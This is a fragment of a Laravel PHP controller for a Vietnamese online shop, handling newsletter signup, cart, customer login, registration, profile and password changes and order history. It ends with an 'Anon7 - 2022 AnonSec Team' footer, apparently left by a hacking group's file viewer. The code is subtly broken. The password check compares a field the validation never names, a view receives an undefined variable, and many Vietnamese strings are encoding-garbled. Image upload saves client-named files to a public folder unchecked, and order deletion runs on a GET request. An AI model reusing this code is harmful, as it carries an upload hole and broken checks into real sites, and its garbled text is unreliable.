        $kiemtra_mail = DB::table('newsletter')->select()->where('status', 1)->where('com', 'newsletter')->where('email', $request->txtEmail)->get()->first();



        if (empty($kiemtra_mail)) {



            $data                 = new NewsLetter();



            $data->email        = $request->txtEmail;



            $data->status        = 1;



            $data->com        = 'newsletter';



            $data->save();







            echo "<script type='text/javascript'>



				alert('Bạn đã đăng kí nhận tin tức thành công !');



				window.location = '" . url('/') . "' </script>";
        } else {



            echo "<script type='text/javascript'>



				alert('Email này đã đăng ký !');



				window.location = '" . url('/') . "' </script>";
        }
    }







    public function addtocart($id) {



        $product_cart = DB::table('products')->select()->where('status', 1)->where('id', $id)->first();



        Cart::add(array('id' => $product_cart->id, 'name' => $product_cart->name, 'qty' => 1, 'price' => $product_cart->price, 'options' => array('photo' => $product_cart->photo)));



        return redirect()->route('getCart');
    }



    public function getThanhToan() {



        //$product_cart= Session::get('cart');



        $product_cart = Cart::content();



        $product_noibat = DB::table('products')->select()->where('status', 1)->where('noibat', '>', 0)->orderBy('created_at', 'desc')->take(8)->get();



        $huongdan_muahang = DB::table('about')->select()->where('com', 'huong-dan')->first();



        $camnhan_khachhang = DB::table('lienket')->select()->where('status', 1)->where('com', 'cam-nhan')->orderby('stt', 'asc')->get();



        $setting = Cache::get('setting');



        // Cấu hình SEO



        $title = "GiỠhàng";



        $keyword = "GiỠhàng";



        $description = "GiỠhàng";



        $img_share = '';



        // End cấu hình SEO



        return view('templates.thanhtoan_tpl', compact('doitac', 'product_cart', 'huongdan_muahang', 'product_noibat', 'camnhan_khachhang', 'keyword', 'description', 'title', 'img_share'));
    }










    public function getDangnhap() {



        if (@Auth::guard('customer')->user()->id) {



            @$id_user = @Auth::guard('customer')->user()->id;
        } else if (@Auth::guard('socialite')->user()->id) {



            @$id_user = @Auth::guard('socialite')->user()->id;
        }



        if (@$id_user > 0) {



            return view('templates.thongtintaikhoan_tpl');
        } else {



            return view('templates.dangnhap_tpl');
        }
    }







    public function getDangky() {



        $com = 'dang-ky';







        return view('templates.dangky_tpl', compact('com'));
    }







    public function postDangky(Request $req) {







        $user = new Users();



        $user->username = $req->username;



        $user->name = $req->name;



        $user->email = $req->email;



        $user->password = Hash::make($req->password);



        $user->phone = $req->phone;



        $user->address = $req->address;



        $user->level = 2;







        $useremail = DB::table("users")->select()->where('email', $req->email)->first();



        if (!empty($useremail)) {



            return redirect('/')->with([



                'toastr_lvl' => 'success',



                'toastr_msg' => 'Email không được trùng'



            ]);
        } else {



            $user->save();







            return redirect('/')->with([



                'toastr_lvl' => 'success',



                'toastr_msg' => 'Tạo tài khoản thành công'



            ]);
        }
    }







    public function postDangnhap(Request $req) {







        $credentials = array('username' => $req->username, 'password' => $req->password);



        $user = Users::where([



            ['username', '=', $req->username],



            ['status', '=', '1'],



            ['level', '=', '2']



        ])->first();







        if ($user) {



            if (Auth::guard('customer')->attempt($credentials)) {







                return redirect('/')->with([



                    'toastr_lvl' => 'success',



                    'toastr_msg' => 'Äăng nhập thành công'



                ]);
            } else {



                return redirect('/')->with([



                    'toastr_lvl' => 'success',



                    'toastr_msg' => 'Äăng nhập không thành công'



                ]);
            }
        } else {



            return redirect('/')->with([



                'toastr_lvl' => 'success',



                'toastr_msg' => 'Tài khoản chưa kích hoạt'



            ]);
        }
    }



    public function getThongtintaikhoan() {



        if (@Auth::guard('customer')->user()->id) {



            @$id_user = @Auth::guard('customer')->user()->id;
        } else if (@Auth::guard('socialite')->user()->id) {



            @$id_user = @Auth::guard('socialite')->user()->id;
        }



        if (@$id_user > 0) {



            return view('templates.thongtintaikhoan_tpl');
        } else {



            return view('templates.404_tpl');
        }
    }



    public function postThongtintaikhoan(Request $req) {







        $this->validate(
            $req,



            [



                'name' => 'required',



                'email' => 'required|email',



            ],



            [



                'name.required' => 'Vui lòng nhập hỠtên',



                'email.required' => 'Vui lòng nhập email',



                'email.email' => 'Không đúng định dạng email',



            ]
        );







        if (@Auth::guard('customer')->user()->id) {



            $id_user = @Auth::guard('customer')->user()->id;
        } else if (@Auth::guard('socialite')->user()->id) {



            $id_user = @Auth::guard('socialite')->user()->id;
        }



        $user = Users::findOrFail($id_user);



        if (!empty($user)) {



            $img = $req->file('fImages');



            $img_current = 'upload/hinhanh/' . $req->img_current;



            if (!empty($img)) {



                $path_img = 'upload/hinhanh';



                $img_name = time() . '_' . $img->getClientOriginalName();



                $img->move($path_img, $img_name);



                $user->photo = $img_name;



                if (File::exists($img_current)) {



                    File::delete($img_current);
                }
            }



            $user->name = $req->name;



            $user->email = $req->email;



            $user->phone = $req->phone;



            $user->address = $req->address;



            $user->save();



            return redirect()->back()->with('thongbao', 'Cập nhật tài khoản thành công');
        } else {



            return redirect()->back()->with(['flag' => 'danger', 'message' => 'Tài khoản không tồn tại']);
        }
    }



    public function getLichsudonhang() {



        if (@Auth::guard('customer')->user()->id) {



            @$id_user = Auth::guard('customer')->user()->id;
        } else if (@Auth::guard('socialite')->user()->id) {



            @$id_user = Auth::guard('socialite')->user()->id;
        }



        if (@$id_user > 0) {



            $donhang = DB::table('orders')->select()->where('id_user', $id_user)->orderby('created_at', 'desc')->paginate(10);



            return view('templates.lichsudonhang_tpl', compact('donhang'));
        } else {



            return view('templates.404_tpl');
        }
    }



    public function getDonhang($id) {



        if (@Auth::guard('customer')->user()->id) {



            @$id_user = @Auth::guard('customer')->user()->id;
        } else if (@Auth::guard('socialite')->user()->id) {



            @$id_user = @Auth::guard('socialite')->user()->id;
        }



        if (@$id_user > 0) {



            $order = DB::table('orders')->select()->where('id_user', $id_user)->where('id', $id)->first();



            $tinhtrang = DB::table('order_status')->select()->orderBy('id', 'asc')->get();



            if (!empty($order)) {



                $product_donhang = DB::table('order_detail')->select()->where('id_order', $order->id)->get();



                return view('templates.chitietdonhang_tpl', compact('product_donhang', 'order', 'tinhtrang'));
            } else



                return redirect()->back()->with('thongbao', 'ÄÆ¡n hàng không tồn tại');
        } else {



            return view('templates.404_tpl');
        }
    }



    public function getXoadonhang($id) {



        if (@Auth::guard('customer')->user()->id) {



            @$id_user = @Auth::guard('customer')->user()->id;
        } else if (@Auth::guard('socialite')->user()->id) {



            @$id_user = @Auth::guard('socialite')->user()->id;
        }



        $order = Orders::findOrFail($id);



        if (@$id_user == $order->id_user) {



            $order->delete();



            return redirect()->back()->with('thongbao', 'Xóa đơn hàng thành công');
        } else



            return redirect()->back()->with('thongbao', 'ÄÆ¡n hàng không tồn tại');
    }



    public function getDoimatkhau() {



        if (@Auth::guard('customer')->user()->id) {



            @$id_user = @Auth::guard('customer')->user()->id;
        } else if (@Auth::guard('socialite')->user()->id) {



            @$id_user = @Auth::guard('socialite')->user()->id;
        }



        if (@$id_user > 0) {



            return view('templates.doimatkhau_tpl');
        } else {



            return view('templates.404_tpl');
        }
    }



    public function postDoimatkhau(Request $req) {



        $this->validate(
            $req,



            [



                "password" => "required",



                'password' => 'min:6|max:20',



                "re-password" => "required",



                're-password' => 'min:6|max:20'



            ],



            [



                'password.required' => 'Vui lòng nhập mật khẩu mới',



                'password.min' => 'Mật khẩu mới ít nhất 6 kí tự',



                'password.max' => 'Mật khẩu mới không quá 20 kí tự',



                're-password.required' => 'Vui lòng nhập mật khẩu lại mật khẩu mới',



                're-password.min' => 'Mật khẩu nhập lại ít nhất 6 kí tự',



                're-password.max' => 'Mật khẩu nhập lại không quá 20 kí tự'



            ]



        );



        if (@Auth::guard('customer')->user()->id) {



            $id_user = @Auth::guard('customer')->user()->id;
        } else if (@Auth::guard('socialite')->user()->id) {



            $id_user = @Auth::guard('socialite')->user()->id;
        }



        $user = Users::findOrFail($id_user);



        if ($req->password == $req->re_password) {



            $user->password = Hash::make($req->password);



            $user->save();



            return redirect()->back()->with('thongbao', 'Cập nhật mật khẩu thành công');
        } else {



            return redirect()->back()->with('thongbao', 'Mật khẩu má»›i và nhập lại không chính xác. Má»i nhập lại!');
        }
    }



    public function postLogout() {


        Auth::guard('customer')->logout();


        Auth::guard('socialite')->logout();


        return redirect()->route('index');
    }

    /** End controller addtocart **/

    public function getErrorNotFount() {
        $banner_danhmuc = DB::table('lienket')->select()->where('status', 1)->where('com', 'chuyen-muc')->where('link', 'san-pham')->get()->first();
        return view('templates.404_tpl', compact('banner_danhmuc'));
    }
    public function changeLanguage($lang) {
        session(['website_language' => $lang]);
        return back();
    }
    // public function setPrice()
    // {
    //    for($i = 1 ; $i < 540; $i++){
    //      $test = Products::with(['price'=>function($query){
    //      $prices = $query;
    //      return $query->orderBy('price','DESC')->first();
    //      }])->find($i);
    //      if (!empty($test)) {
    //        if(!empty($test->price[0])){
    //          DB::update('update products set price_pro = ? where id = ?',[ $test->price[0]->price , $test->id]);
    //        }
    //      }
    //    }
    // }
}

Anon7 - 2022
AnonSec Team